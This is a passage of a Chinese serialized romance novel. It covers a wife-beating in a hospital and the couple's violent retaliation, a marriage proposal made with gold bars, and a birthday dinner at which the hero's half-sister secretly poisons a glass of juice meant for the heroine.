“住手。”顾临大喝一声。 钱枫回望,认出了顾临,拳头便收了起来,“原来顾医生在这家医院里工作啊,前几天还跟老爷子喝茶来着。” 顾临眼眸沉下。 忙去检查温思夏的伤势。 钱枫这小子,手可不软,打得温思夏鼻青脸肿的,整个人因为过度紧张,缩成一小团,低低的抽泣着。 “白护士,带她去检查一下伤势,顺便处理一下。” “好的,顾医生。” 温思夏被带出了病房。 钱枫拉了把椅子,悠哉游哉地坐了下来,“顾医生,夫妻之间的小打小闹,没什么大不了的,女人嘛,不听话,还是得教育一下的。” 顾临不是爱多管闲事。 是看不得这些。 “不管温思夏,现在还是不是你老婆,你都没有权利打她。” “钱枫,虽然温家已经失势,但你也别做得太难堪,温疏亦还在,她可是盛珽妄的老婆,只要盛珽妄一句话,你包括你们钱家,就……” 顾临耸耸眉梢。 钱枫懂的。 现在温疏亦就是温思夏的娘家。 打温思夏就是打盛珽妄的脸。 后果…… 钱枫的眼神瞬间变了。 有忌惮,也有不服。 最终还是识事务的妥协了,“顾医生,你说笑了,思夏有温疏亦这么有能耐的姐姐,我自然不敢对她怎样,刚刚只是因为情绪一时失控,是意外,我平时哪舍得打她啊。” “我这个女人啊,就是在家里惯坏了,轻轻一抓就哭天喊地的,我今天过来,其实是看望她的,你看,桌上那些东西,都是我买给她的。” 钱枫不承认也就罢了。 还在信口胡说。 “我不管你说的是真是假,但在医院里绝对不能动手,如果有下次,我们会报警。” 顾临走出了病房。 关门的时候,他听到钱枫在那儿骂骂咧咧的。 他给温疏亦打了个电话,把温思夏的情况说了说。 没过多久。 温疏亦就出现在了医院里。 “钱枫不知道犯了什么病,把温思夏打得不轻,刚刚检查过了,肋骨断了三根,脸上和身上,程度不同的挫裂伤。” 顾临将情况告诉了温疏亦。 她点了点头,冷着脸,去了病房。 顾临怕她一个女人吃亏,赶紧跟了过去。 推开病房的门,没等钱枫反应过来。 脸上就挨了结结实实的一个巴掌。 “你,你竟然敢打我?你,你看我不……”钱枫扬起手,这巴掌没等落到温疏亦的脸上,就看到她高高抬起腿,顶向了自己的胯下,“啊……,你……疼死我了。” 钱枫捂着裆,跪在地上,吱哇乱叫。 温疏亦抓起他的头,对着他的脸,左右开弓,打得他不知东南西北。 “温疏亦,你怎么这么野蛮,我是思夏她老公,你不带这么打人的……” 钱枫被打得脸肿嘴疼的。 温疏亦可没手软,脱下高跟鞋,冲着他的嘴,就开始扇。 直到扇得满嘴是血,这才停下来。 “我告诉你钱枫,温思夏的父母虽然去了国外定居,但我还在,你想欺负我们家的人,得看你有没有这个本事,再让我知道,你再打她,我就直接把你废了。” 钱枫哭了。 从小到大,他哪里被这样打过。 “你这个疯婆子,简直就是疯子,疯子……” 第105章 冷静,千万要冷静 顾临站在原地,震惊得有些茫然。 他印象里的温疏亦,总是温温柔柔的,说话轻声细语,还带着点不谙世事的纯然,是个软妹子来着。 刚才那一幕…… 干脆利落的反击,哪学的? 这可彻底颠覆了他的认知。 难不成……近朱者赤,近墨者黑? 跟盛珽妄待久了,小白兔也会亮爪子了? 他刚要动唇说点什么。 病房门就“砰”一声被猛地推开。 盛珽妄带着戾气,闯了进来,他的视线甚至没在旁人身上停留半秒,直冲钱枫就去了。 “谁给你的胆子,欺负到我老婆头上?” 声音压得极低,似是淬满了冰般的。 钱枫刚想要解释什么。 嘴也就刚张开。 盛珽妄的长腿一抬,带着钢板的军靴,精准狠戾地踹向钱枫的下巴! “咔嚓!” 顾临清晰地听到了下巴断裂的声音。 再看向钱枫…… 连惨叫都没能发出完整的音节,整个人被那股力道带得向后仰倒,后脑勺重重磕在墙壁上,又软软地滑落。 顾临看了直捂眼。 这也太狠了。 这可不止骨折那么简直,弄不好脑袋受的伤也不轻。 盛珽妄气未消,拳头捏得咯咯作响。 顾临怕他将钱枫打死,赶紧拦下了他,“别激动,冷静,冷静,千万冷静,这挨打的是温思夏,不是温疏亦!是温疏亦打了钱枫!” 盛珽妄转头看向温疏亦。 她衣衫整齐。 连头发丝也没乱。 确实看起来……不像是受了欺负的样子。 盛珽妄的紧绷神经,稍微松弛了一些。 “真没伤着?”他检查着她上上下下,左左右右。 “我没事。”温疏亦摇摇头,轻轻的抚了抚他的胸口,“你教我的,我都用上了,效果还不错,一招制敌。” 说这话时。 温疏亦还带着小骄傲的样子。 盛珽妄抬手揉了揉她的头顶,“没事就好,以后这种事情,交给我,知道吗?” “我刚刚就是太生气了。”温疏亦看向地下躺着痛苦呻吟的钱枫,“打女人的男人,就不算是男人,何况还是一个浑身是脏病的男人,无耻,不要脸。” 盛珽妄走过去,俯睨着满脸是血的男人,一字一句地警告:“钱枫,你给我听好了,以前你怎么对温思夏,我管不着。但现在,她在我们眼皮子底下,你动她一根头发,就是在我盛珽妄过不去。今天这笔账,我记下了。往后的日子还长,咱们慢慢算。” 钱枫整张脸已经肿得像猪头,眼睛只剩一条缝,嘴唇外翻,根本无法说话。 盛珽妄的警告。 令他胆颤。 他用仅剩的那点意识想为自己争辩一下。 但是呜里哇啦的。 也没人听清他在说什么。 或许是在求饶,或许是在咒骂。 没人关心。 顾临吐息了一口。 刚刚盛珽妄下手太没轻重了,闹出人命谁也担不起。 他朝门外喊道:“白护士!赶紧叫人,把他推去急救室!检查下颌骨、颅脑、颈椎,快!” 一直守在门外,不敢进来的白护士连忙应声:“知道了,顾医生!” 病房里重新安静下来。 温思夏检查完身体,回来了。 她缩在病床上,紧紧裹着被子,眼神空洞地看着天花板,令人心酸。 温疏亦担心温思夏,被钱枫这么一打,不仅身体上,精神上也会出问题。 她走到病床边上,握起了温思夏的手。 轻声温柔地安抚着她的情绪,“没事了,他以后不敢再伤害你了,别害怕了。” 温思夏的眼珠缓缓转动,泪水无声。 温疏亦想知道,前因后果。 只能问顾临。 “顾医生,钱枫今天为什么突然过来?还下这么重的手打思夏?护士之前有没有听到什么?” 顾临回想了一下。 几个护士刚刚在讨论这事时,也没提到什么重要的信息。 无非就骂人。 骂的很难听的那种。 温思夏大概是回嘴了,所以被打了。 “具体是什么原因不清楚,两人争执起来,钱枫就动了手。”他看向温思夏,又补充道,“这恐怕得等思夏情绪稳定一些,才能问清楚。” 温疏亦点头。 现在确实也没法问温思夏。 “不管是什么,他动手打人就是不对的,我会报警的,已经离婚了,就不能按家庭事务来处理,这是恶意伤人案件。” 报警。 顾临和盛珽妄都是支持的。 但是…… “刚刚钱枫说,他和温思夏并没有离婚,到底他们有没有离婚啊?”顾临问。 温疏亦微愣。 温思夏跟她讲的是她和钱枫已经离婚了。 如果钱枫说没离……那,还真不好说,这两个人,谁说的是真,谁说的是假。 “等温思夏情绪稳定了一些,问一下再说吧。”盛珽妄说。 温疏亦同意,“好。” 温疏亦留在病房里陪温思夏。 顾临和盛珽妄一起走出了病房。 “我觉得可以通过一些手段,查一下钱枫和温思夏,到底有没有离婚,这公婆两个之间,是不是有不可告人的事情,你觉得呢?” 对于顾临提出来的怀疑。 盛珽妄认同,“我让张纶马上查一下。” 盛珽妄给张纶打了个电话。 半个小时后。 他拿到了一手的真相。 “钱枫和温思夏并没有离婚。”他说。 顾临猜的差不多,“所以,钱枫才这么肆无忌惮地打人,跟我们之前猜测的吻合了。” “看来,这里面确实,有隐情。” “会是什么隐情呢?” 盛珽妄现在也猜不透,“不清楚。” …… 病房里。 温思夏的精神状况一点都不好。 温疏亦没问她,关于挨打这事的原因。 就那么坐在病床前陪着。 偶尔会给她剥个桔子。 削个苹果。 不知道过了多久,温思夏浅淡暗哑的出声,“姐,我对不起你,我撒谎了,我和钱枫根本就没有离婚,我之所以说离婚了,完全是他逼我的,他逼我来投靠你,我要是不来找你,他就会打死我的……” 温疏亦听糊涂了。 这没头没尾的,到底是出了什么事情。 “你慢慢说,他让你撒谎投奔我,是……” “他说,他说……”温思夏努力压抑着翻涌的情绪,“……他说我这么多年,吃钱家的,喝钱家的,让我偿还这些年欠钱家,我没钱,他便让我来你家,制造你们伤害我的假象,他好来勒索钱……” “今天,今天,他拿了虚构的伤情鉴定,让我签字,说我在你们家挨打了,你们虐待我,他要告你们,我说我不想做这件事情,他便又打了我……” 温疏亦听得生气。 娶老婆不想管饭,还要敲诈勒索娘家人? 还真是闻所未闻。 第106章 他想杀人就杀人? “今天,他被打得不轻,我看,他得靠自己赚钱了。”温疏亦笑了。 温思夏不想给温疏亦,带来这么大麻烦,很抱歉,也很愧疚,“姐,等我出了院,我就走,我不会给你们惹麻烦的,你和三爷都是真心待我的人,我不能……” “那你想跟钱枫离婚吗?”温疏亦问。 温思夏不假思索地点头,“想,我做梦就想,可他说了,如果我跟他离婚,他就杀了我,我……” 温思夏害怕是真的。 一想到钱枫那狰狞的样子,她会整晚地做噩梦。 她被他打怕了。 温疏亦看出了温思夏的忌惮。 劝慰道,“法制社会,他想杀人就杀人?你别怕,我不会让他伤害到你的,既然你想离婚,我会找好的律师帮你的。” “真的吗?”温思夏似乎又有了盼头,感激涕零,“谢谢你,姐,谢谢你。” “好了,现在什么都不要想,好好地先把病治好。” 温思夏点头,“好。” 温疏亦拜托顾临,为温思夏请了一个护工。 安排好后。 她这才疲惫地坐进了盛珽妄的车里。 男人心疼她。 替她捏着肩膀,“钱枫的事情你放心,我可以担保他,以后绝不敢再来找麻烦。” “盛珽妄,帮我找一个靠谱的离婚律师吧。”温疏亦疲惫地说。 盛珽妄微愣,“温思夏和钱枫,真的没有离婚啊?” “钱枫说,她要敢跟她离婚,他就杀了她。” 盛珽妄笑了,“给他个胆子,他也未必敢。” “温思夏从小胆小,现在父母又不在身边,她自然是怕的,还是抓紧把婚离了,以后,钱枫也不敢随意伤人。” “行,这事交给我吧。” 温疏亦温和点头,轻轻地靠在了盛珽妄的怀里,“辛苦你了。” 这时。 手机铃声响起。 盛珽妄垂眸看去。 是汤凤玉。 自那次她和李贞贞,联手逼他签署财产转让协议后,母子间便彻底断了联系。 这个电话,在这时显得有一些突兀。 和……一些不明不白的侵入感。 铃声持续响着,盛珽妄迟迟没有动作。 温疏亦察觉到他沉下的气息,目光落在闪烁的手机屏幕。 “是你妈的电话,怎么不接?” 盛珽妄指尖一划,直接挂断。 “没什么好说的。” 他将手机反扣在桌上,语气淡得如同天空中的那层薄云。 下一秒。 屏幕又固执地亮起,嗡嗡震动。 “接吧,”她劝道,声音柔软,“万一……真有什么事呢?” 盛珽妄沉默片刻,按下了免提。 “阿稷。”汤凤玉的声音响起,庆幸中带着刻意的讨好,“你终于接电话了……” 她停顿了一下,“这么长时间,妈妈每天都在想那天逼你做的事情,越想越后悔……是妈错了,妈不该那样逼你,更不该跟你妹妹一起算计你。儿子,妈真的知道错了,你能……能原谅妈妈吗?” 悔过带着几分真诚。 盛珽妄没什么表情,静静听着,眉眼黯淡,沉郁浓重。 “还有别的事吗?没有的话,我挂了。” “别,别,儿子,妈真的知道错了,你看,明天是妈的生日,妈想邀请你来陪妈过个生日……”大概是怕盛珽妄拒绝,她忙补了句,“……你带着疏亦和哆哆一起过来吧,妈真的想你们了,就想看看你们……” 盛珽妄下巴绷得很紧。 似乎有脱口而出的拒绝,就在唇边。 温疏亦将他微蜷的指尖握入掌心。 亲情这东西,挺奇怪的,丢开时再狠心,也架不住这一声声的呼唤,荡起的涟漪。 “答应她吧。只是过一个生日而已,又没有别的。” 盛珽妄回握住她的手,力道有些重。 他垂下眼皮,给出了一个留有退路的答复:“到时候再说吧。” “那妈就在家里等你们了,你们什么也不用带,家里什么都有,记得多给哆哆穿点衣服,现在这个季节流感多,瞧我,高兴得不知道说什么好了,好了,那妈就挂了,你忙吧。” 汤凤玉欢天喜地。 这是她和儿子破冰的机会。 她不能再把这最后的机会,给搞砸了。 李贞贞咬着苹果,走出来,阴阳了句,“瞧把你高兴的,妈,你可真没出息。” 汤凤玉不满地看了女儿一眼。 警告她,“明天,你千万别给我整事,这是我和你哥缓和的机会,我可不想失去这个儿子。” 李贞贞嗤笑。 “妈,你在离开那个家的时候,就已经失去了这个儿子,现在你们的关系,说白了就是表面关系,他呢,假孝顺,你呢也是为了让他给你养老,才如此的虚伪,不是吗?” 这话说得,汤凤玉不爱听。 她亏欠儿子的,她心里能没数吗? 要不是女儿教唆她。 她能跟女儿干那种事情吗? 现在想起来,不知道有多后悔。 “要不是被你的鬼话给迷了心窍,我怎么会做那种蠢事,贞贞,我们就是那样对他了,你哥也没有断了我们的月供,这点,他比你可强多了。” 李贞贞撇嘴。 一个月一万块,够干什么的? “妈,你太容易知足了,我哥那么有钱,就一月给你一万,就把你哄舒服了?”李贞贞走到汤凤玉的身旁,摁着她的肩膀,将她摁在沙发上,“妈,一万块只够日常开销,啥也干不了的。” “我一个老婆子,一万块就不少了,我跟了你爸那么多年,他一个月给过我一千块没有?我现在不知道有多后悔当年离开阿稷父子。” 如果有后悔药的话。 她得吃上一瓶。 可惜……没有。 她很知足,做了那么多对不起儿子的事情,他没有对她赶尽杀绝。 倒是这个女儿。 总是不让人省心。 “贞贞,你也该找个正经工作了,天天不是睡觉就是打游戏,要么就想都着去害人,要是再出事儿,我可保不了你了。” “妈,你这话说得,我不是亲生女儿啊?我这儿做,都是为了我自己吗?我也是想拿到我哥的钱,好好孝顺你啊,他给你一万,我给你十万,你想买什么都可以。” 汤凤玉看了一眼李贞贞。 觉得她有点疯魔了。 “一月一万我都花不完,我怕你给我十万,我发烧,贞贞啊,上次我们那样做,真的太对不起你哥了,明天你哥来,你好好跟他道个歉,让他给你找个正经的工作,你也该回归正常的生活了。” 李贞贞戚。 翻了个白眼。 她早有计划了。 那就借着这个生日的机会,搞死温疏亦吧。 “妈,我出去趟。” 李贞贞丢下啃了半截的苹果,抓起包,走了。 汤凤玉摇了摇头,尽是无奈。 第107章 爱情分两种 盛珽妄坐在书房里。 指尖的烟一口未吸,却已经快要燃尽。 闭上眼。 眼前尽是他见到父亲遗体时的画面。 他是被叔叔们,接着去见父亲最后一面。 当时父亲被盖着脸,叔叔们说,父亲脸上的伤很严重,不让他看。 他哭得很厉害。 怎么拉也拉不开。 可是后来,父亲的遗体还是被送走了。 父亲的遗物中。 有一张全家福。 还有一张,他与母亲结婚时的照片。 母亲的离开,他没有放下过,到死都没有放下。 盛珽妄替父亲不值。 替父亲的爱不值。 一个男人,为了国家抛头颅,洒热血,最后鞠躬尽瘁,死在了战场上。 就算是他为了大家,舍了小家,对母亲的陪伴和照顾少了一些。 就真的能成为,她跟别人私奔的理由吗? 盛珽妄的眉心微皱。 透出痛苦和迷茫。 是的,他不是很理解,至今如此。 温疏亦端着水果走进来。 他缓缓掀起了微湿的眸子,将快要燃到指尖的烟卷,摁灭在了手边的烟灰缸里。 “怎么还没睡?” 温疏亦浅浅地笑了笑,“过来看看你,在想什么?” “想起了我爸……”他抿唇,握住她的小手,将她抱在自己的大腿上,“……我在想,我爸那么爱我妈,为什么她那么狠心,丢下我,丢下我爸,跟着别的男人私奔了。” “现在想通了没?” 盛珽妄摇头。 他没想通,“我在想,或许是因为我爸的职业,对她的陪伴太少,让她时常感觉孤独,也或许是因为,嫁给我爸,不是她想要的爱情,也或许是……” 他想不出了。 女人的离开,总是有千万种理由。 那时那么小的他,根本不了解自己的母亲。 “……这么多年,我一直在替自己唏嘘,其实,最应该唏嘘的是我爸,我爸牺牲的时候,他口袋里有我妈的照片,那张照片很旧了,他应该是经常拿出来看,最后被染上了他的血,跟他一起下葬了。” “有人说,父子的命运会是一样的,我在想,或许,最后,我也可能重走我爸的路……” 他望住她的眼睛。 他想看透这个他深爱的女人。 可是女人啊,他如何能看得透呢。 “……成为你爸什么?”温疏亦听出了盛珽妄话里的意思,“成为你爸那样被抛弃的男人,还是成为你爸那样,最后年纪轻轻地为国捐躯?” “我不知道。”他目光灼灼。 就那样,一瞬不瞬地盯着温疏亦的眸子。 他似乎在寻找什么答案。 温疏亦能读懂他的问题。 又不解,他为何如此的不信任这段感情? “你是不相信我,还是不相信自己?”她问他。 盛珽妄给不了答案。 可能都有。 可能都没有,只是他的臆想。 是他想多了。 他捏了捏眉心,故作轻松地说,“可能是她给我打的那个电话,让我……想了一些不该想的。” 盛珽妄想回避。 但是回避问题,就代表问题已经解决了吗? 在他心里。 即便是有结婚证在手里,他依然担心,会重蹈父亲的辙。 “盛珽妄,你妈爱你爸吗?或者……她爱过你爸吗?当年,他们结婚是因为爱情吗?还是说,她只是觉得你爸是个军官,可以带给她好的生活,她就嫁了?” 温疏亦得问题。 盛珽妄也给不了答案。 他不知道。 在他的印象里,父母相敬如宾,母亲温婉贤淑,会做好吃的饭,会给父亲递毛巾,会跟大院里的那些婶子们愉快地聊天。 母亲就是一个普通的不能再普通的母亲。 爱情? 或许父亲也没有思考过,这两个字。 盛珽妄不说话。 温疏亦就继续说,“如果你妈仅仅是因为,可以过上好的生活,就嫁给了你爸,在遇到爱情的时候离开,倒也很好想得通。” “我不懂。”他说,“她已经有了婚姻,有了孩子……” “这没什么不好懂的,如果一段婚姻不是基于爱情,确实发生意外的情况比较多。” 哪怕是有了孩子。 有几个孩子,结局也是一样的。 他还是不懂,“爱情难道只可以对一个人产生吗?你今天可以爱我,明天或许你就爱了别人,爱情也没有那么高尚。” “那是假爱,真正的爱情,只有一次,且一生只有一次。” 她已经说得如此肯定了。 还是在盛珽妄的眼中,看到了怀疑。 “你不信?” 盛珽妄不知道该点头,还是摇头,“你认为的爱情,可能跟我认为的爱情,不是一回事。” “那你认为的爱情是什么样的?上床,生孩子,女人不排斥男人,生理不厌恶,就是女人对男人的爱情?” 当然。 她说的这种,是在盛珽妄眼中暂时的爱情。 汤凤玉生了他后,不也跟着男人跑了。 温疏亦站在女人的立场上,很坦诚地告诉他,“女人不会因为生了孩子,就会对男人产生爱情,你所认为的爱情,是不存在的,真正的爱情,很简单,我会因为你的开心而开心,因为你的难过而难过,因为你的离开,而不想苟活在这个世上。” 他似乎懂了。 但眼中的不确定,还没有彻底的消散,“那你会因为我不开心,而不开心,会因为我难过而难过,会因为我离开,而痛苦吗?” 这废话问得,温疏亦都不想回答。 她其实不想戳盛珽妄的痛处,但她得用汤凤玉的事情做一个佐证,“至少,我不会因为一个男人,丢下我的孩子,我也不会因为突然产生了什么所谓的爱情,就抛夫弃子的私奔。” “所以呢?”他的指尖掐紧了她的腰,“温疏亦,你爱我吗?” “爱。”她给了他很肯定的答案。 这是他没有想到的。 他以为,她会犹豫一下。 “爱?”他反而不确定了。 “你不想要我的爱?” 温疏亦有点生气了,他这个人可真别扭,想要她的是他。 现在她说她爱他。 他又怀疑。 “我想要,可我不知道,你是哪种?” 温疏亦被气笑了,捧着他的脸,“是那种,你死了,我也不想活得爱,现在够清楚了吧?” 他笑了。 苦苦的,很难看。 “那你愿意嫁给我吗?”他将她抱紧,声音低沉着,“疏亦,你愿意心甘情愿地嫁给我吗?愿意用所有的爱,只爱我一个人,愿意吗?” “你这是在求婚吗?”她抚着他的头发,一下下的,“盛珽妄,你就不能有点仪式感吗?至少戒指得有一个吧?” “有。” 他从口袋里掏出一枚黄金的戒指。 温疏亦:……求婚不是都用钻戒吗? “盛珽妄,我就不配一枚价值连城的钻戒了?我说我喜欢黄金,你也别……” 她真的哭不出,也笑不出。 第108章 挑拨离间 盛珽妄又从抽屉里,拿出一盒金条。 很重,很亮,闪瞎她的眼。 “这些全是给我的?” “全给你,还有……”他拿出一个箱子,打开,“……你说你喜欢金子,暂时就兑了这些,差不多有个一万克。” 温疏亦:……一万克? 以现在的金价,再加上不断上涨的趋势,那她岂不是要发了。 “挺,挺好的,我,我喜欢。”她口水快要流下来了。 盛珽妄挺喜欢她这副贪婪的模样。 宠溺的揉着她的头顶,“小财迷。现在可以嫁给我了吗?” “嫁,嫁,谁跟钱过不去啊。” 温疏亦试图抱起这些黄金。 抱不动。 抱不动就抱不动吧,“这算是彩礼吗?” “不算。”他笑着将她抱进怀里,逗弄着,“这算是求婚,娶你的话,我得下重金。” 温疏亦两眼放光。 顿时觉得什么爱不爱的,真的不重要。 单纯找个有钱的,感觉也不错。 但盛珽妄爱她,那她就走上人生巅峰了。 “真的?” “我的就是你的,全给你。”他爱得毫无保留。 他希望温疏亦的爱,跟他一样,“疏亦,你会爱我一辈子的,对吧?如果哪天,我破产了,成了穷光蛋了……” “哎……”她抬起手指,捂住他的嘴,指着这满地的黄金说,“……你要是破产了,咱们就把这些黄金卖了,饿不死的,放心好了。” “你不怕跟着我吃苦?” 温疏亦摇头,搂住他的脖子,“再苦能苦哪儿去?还能比地震的时候,失去双亲苦?我可以工作,你也可以啊,我们就过平常人的日子就好了,盛珽妄,我们以后就握着彼此的手,一起走下去吧,无论这条路是阳关大道,还是布满荆棘,我们都在一起。” “谢谢你,疏亦。” “谢什么。”温疏亦笑着,在盛珽妄的唇上吻了一下,“嫁鸡随鸡,嫁狗随狗。” 温疏亦的爱,温暖了盛珽妄那颗阴冷的心。 两个人趴在被窝里,为自己的婚礼,挑选着百年难遇的好日子。 后来,日子订下了。 拍婚纱照也提上了日程。 “咱们婚礼上请谁做伴郎伴娘啊?”温疏亦歪着头问。 盛珽妄想请顾临。 但他不确定,这小子,会不会比自己结婚还要早,“到时再说吧。” “好。” …… 第二天下午,天色有些沉。 汤凤玉将电话,打到了温疏亦的手机上。 内容重复简单。 就是希望她和盛珽妄,回家去给她过生日。 说白了。 汤凤玉想借这个机会,跟儿子缓和关系。 温疏亦没说别的,她替盛珽妄做不了主,“我跟他讲一下吧。” “疏亦,以前是我的不对,我这把岁数了,就这么一个儿子,真的很想跟他解除误会,请你一定要劝劝他好吗?” “我尽量吧。” 挂断手机。 温疏亦看向了一旁面色平静的男人。 “要不,咱们还是去吧,就吃个饭,也耽搁不了太多时间,好吗?要不然,她一遍一遍地打电话,也挺烦的。” 盛珽妄一直没有想好,到底是去还是不去。 温疏亦的话,像是给了他一个台阶。 “行吧,不过,礼物就不要准备了。” 盛珽妄虽是这样说,温疏亦还是悄悄去了一趟金店,选了一条三十来克的黄金手链。 不算多贵重,却也足够体面,不至于因空手显得过分尴尬。 二人到时。 是李贞贞开的门。 “哥,你真来了。”她的眼睛在看到盛珽妄的瞬间亮起,落到他身旁的温疏亦脸上时,笑容立刻淡了几分,“……你也来了啊。” 汤凤玉听到开门的动静,一边用围裙擦着手,一边从厨房快步走了出来。 她脸上堆满了笑。 不知道是真情还是假意。 “是阿稷他们来了吧?哎呀,哆哆怎么没一起带来?瞧我这记性,忘了哆哆平时住幼儿园……”她自说自话地打着圆场,侧身让开,“快,快进来坐,菜马上就齐了,都是你以前爱吃的。” 李贞贞立刻又凑上前,伸手就想挽住盛珽妄的胳膊,“哥,妈为了今天,从一大早忙活到现在,可开心了!说起来,这还是咱们三个头一回这么齐整地给妈过生日呢……” 盛珽妄在她碰到自己之前,手臂收回。 他脸上没什么表情。 冷冷的。 李贞贞的手僵在半空,尴尬地撅起嘴,半抱怨半撒娇的:“干嘛呀哥,还生我和妈的气呢?过去的事就让它过去嘛,你就当我和妈当时……犯了精神病,神志不清了,行不行?” 温疏亦在一旁听着,几乎要忍不住笑出声。 盛珽妄依旧绷着脸,一言不发。 李贞贞的目光斜斜扫向温疏亦。 看到她脸上尽是未收敛的嘲意,大为顿时恼火。 “你笑什么笑?谁还没犯过错的时候?我和我哥是一家人,打断骨头还连着筋,只要某些外人别在中间挑拨离间、搬弄是非,我哥迟早会原谅我和妈妈的!” 温疏亦无语到想翻白眼。 简直是荒谬。 挑拨离间? 搬弄是非? 她连一个字都懒得多说。 汤凤玉将饭菜已经端上桌,“阿稷,疏亦,赶紧过来做,菜已经好了。” 说实在的。 温疏亦对汤凤玉虽然有意见,但她知道,汤凤玉有时候的一些做法,都是被别人影响和指使的。 就比如,眼前这个李贞贞,就不是什么好玩意。 她在李家长大。 李家最不缺女孩,对她不够重视,从小非打即骂,很小就出来混社会。 能找个踏实的工作,还好。 她偏偏堕入了那种地方。 天天看着别人纸醉金迷,没有公主命,却得了公主病。 想趁着盛珽妄不清醒,拿到他的财产供自己挥霍,结果落了空。 要不是盛珽妄念着情分。 李贞贞哪里还有机会,在这儿冲她大呼小叫的。 “疏亦,别站着了,赶紧过来坐下吃饭。” 温疏亦揪了揪盛珽妄的衣口,“走吧,吃饱了,咱们就回去。” 一家坐到餐桌前。 汤凤玉不停地给盛珽妄夹菜。 一口一个[你小时候爱吃。] 盛珽妄有心结。 不止小时候的丢弃,温疏亦知道。 毕竟是过生日,她还是把自己准备的礼物拿了出来。 “出来得急,就去隔壁的金店挑了一条,适合你的链子。”温疏亦将锦盒递到汤凤玉的面前。 她有些意外。 也有一些惊喜。 “怎么,还给我买礼物了?不用的,你们能一起过来,我就很开心了。” 李贞贞伸手拿过锦盒,打开。 看到是一条普通的金链子。 顿时一脸的嫌弃。 “温疏亦,你也太小气了吧,妈过生日这么大的一个日子,你就买条三十克的金链子?你自己穿金戴银,上上下下的全是名牌,就送这个?我妈也是我哥的妈,你好意思的吗?” 汤凤玉嘶了一口。 将锦盒和链子一起拿了过来,“三十克的金链子了,够贵重的了,你在嫌弃什么?这是送我的,又不是送你的,我很满意,很知足。” 第109章 果汁有毒 汤凤玉当即就将金手链戴到了手腕上。 对着光左瞧右瞧,嘴里一个劲儿地夸温疏亦眼光好,出手大方。 感激的话说了一箩筐又一箩筐,脸上的笑意也没停过。 温疏亦只是淡淡听着,没往心里去。 她太清楚这对母女的性子。 汤凤玉表面上的热络,不过是为了讨好盛珽妄。 那些好听的话,也不是讲给她听的。 至于李贞贞…… 不重要。 气氛上,总算不那么紧张。 李贞贞忽然起身,笑盈盈地说:“我去榨点果汁。” 转身便进了厨房。 虚假的笑意退却后,神色也跟着冷了下来。 她从口袋的夹层里,摸出一个拇指大小的透明玻璃瓶,攥在手里。 药是无色透明的,掺进果汁里,谁也发现不了。 这个药有一个很厉害的作用。 那就是…… 能导致突发心脏猝死,很烈,几乎是无救。 她工作的地方,偶尔会用这种药“处置”那些不听话的女人。 她知道它的效果。 买它花了两万块。 没关系。 只要温疏亦可以消失,她还是觉得很值得。。 她稳了稳呼吸,倒出四杯鲜榨橙汁,然后将瓶中药液精准地倒入了其中一杯。 液体落入橙汁的开始,象征着一场杀戮拉开序幕。 那杯子在指尖,轻轻晃了晃。 李贞贞的唇角是阴鸷的笑。 “温疏亦,你再高傲,再被爱,又怎样呢?一杯下去,你就死得悄无声息,连医生都查不出来,你是怎么死的,不知道下到地狱后,你会不会不甘心呢?” “你放心,每年你的忌日,我会去看你的,心情好的话,多给你烧点纸钱。” “当然,也会跟你讲一讲,有多少女人会围绕在我哥的身边,你可千万别太嫉妒,嫉妒你也活不过来,不是吗?” 再转身时,李贞贞脸上已恢复如常。 她端着托盘走出去,“我看我哥开了车,今天就不劝酒了,大家喝果汁吧。” 一杯一杯放在各人面前。 轮到温疏亦时,她手指微微用力,杯底与餐桌接触发出“嗒”的一声轻响,格外清晰。 “我妈说你芒果过敏,橙子应该不过敏吧?” 温疏亦抬眸看她,目光平静得像深潭。 停顿片刻,她才缓缓垂下眼皮,瞥了一眼面前那杯澄亮的橙汁。 “不会。” 声音很淡,听不出情绪。 虽然她不知道这杯果汁好不好喝,但她知道,这杯果汁,她是肯定不能喝。 李贞贞端起果汁,对着汤凤玉,送上生日的祝福,“妈,祝你生日快乐,你看,今天你最爱的儿子回来了,你一定开心坏了,咱们喝一杯吧。” 汤凤玉很满足地笑了笑,“是啊,你哥能来,我真的太开心了,也谢谢女儿祝福。” 汤凤玉端起果汁小抿了一口。 送完祝福后。 她扭头看向了盛珽妄,笑着说,“哥,我也祝你生意越做越大,越来越好。” 盛珽妄没什么表情。 也没有喝果汁。 李贞贞又将脸扭回来,看向了温疏亦,“大家既然都坐到一起了,就是一家人,看在你也给妈送了这礼物的份上,我也敬你一杯。” 温疏亦抬眸望过去。 李贞贞举着杯子,话不真心,想让她喝果汁倒是真心的。 她没动,“不必了,我也是看你哥的面子,大家安稳地吃完这顿饭,比什么都强。” “温疏亦,你……”李贞贞不知道温疏亦,哪来的这种底气,牛得要命,“……你不给我面子是不是?” “给你面子?”温疏亦放下筷子,唇角勾起一抹冷意,“为什么要给你面子?你算老几?” “你……”李贞贞看了汤凤玉一眼,“……妈,你看她,怎么这么跟我说话?” 汤凤玉这次也没有帮着女儿说话。 反倒是怪她不懂事,“她怎么就不能这么跟你说话?贞贞,她是你哥的媳妇,是你的嫂子,你对她放尊重一点。” “妈,我哪里不尊重她了,我敬她一杯,她根本就领情。” 李贞贞要气死了。 恨不得端起温疏亦面前这杯饮料,直接灌进温疏亦的嘴里。 温疏亦不轻不淡地睨了她一眼,“你消停一点,这杯果汁我是不会喝的。” 李贞贞愣住。 她……难道?知道这杯果汁里下了药? 不会的。 她再聪明,也不至于想到这里去。 “你觉得我给你下了药?”李贞贞一口饮光了杯中的果汁,轻挑地看向温疏亦,“大家喝的都是一个榨汁机里出来的果汁,你别太有被害妄想症哦。” “那你把我这杯喝了。”温疏亦抬眉,用眼神指了指面前的果汁,“你喝了,我就信。” “你……” 汤凤玉眼看着儿子的脸色要变。 迅速打住了女儿的话,“好了贞贞,今天是妈的生日,你再给我捣乱,你就赶紧走吧。” “妈……”李贞贞没想到,汤凤玉竟然赶她离开,“……我还是不是你亲生女儿了?你竟然要赶我走,我去哪儿啊?你想让我冻死在街头吗?” “不想走,就给我闭嘴,再惹你嫂子不高兴,就当我没有生过你这个女儿。” 汤凤玉将话说到这个份上。 李贞贞再不甘,也只好咽下心底的恨意,不再出声。 盛珽妄几乎没有动筷。 温疏亦也是。 走完程序,二人便决定告辞。 汤凤玉没有强留,将二人送到门口,“阿稷,妈其实还是想当着你的面,跟你说声对不起,妈老糊涂了,被你妹妹一蛊惑,就……对不起啊,妈真的错了,你能原谅妈妈吗?” 盛珽妄给不出原谅。 但也没说什么。 “你早点休息吧,我们回去了。” “好,你们路上开车小心。” 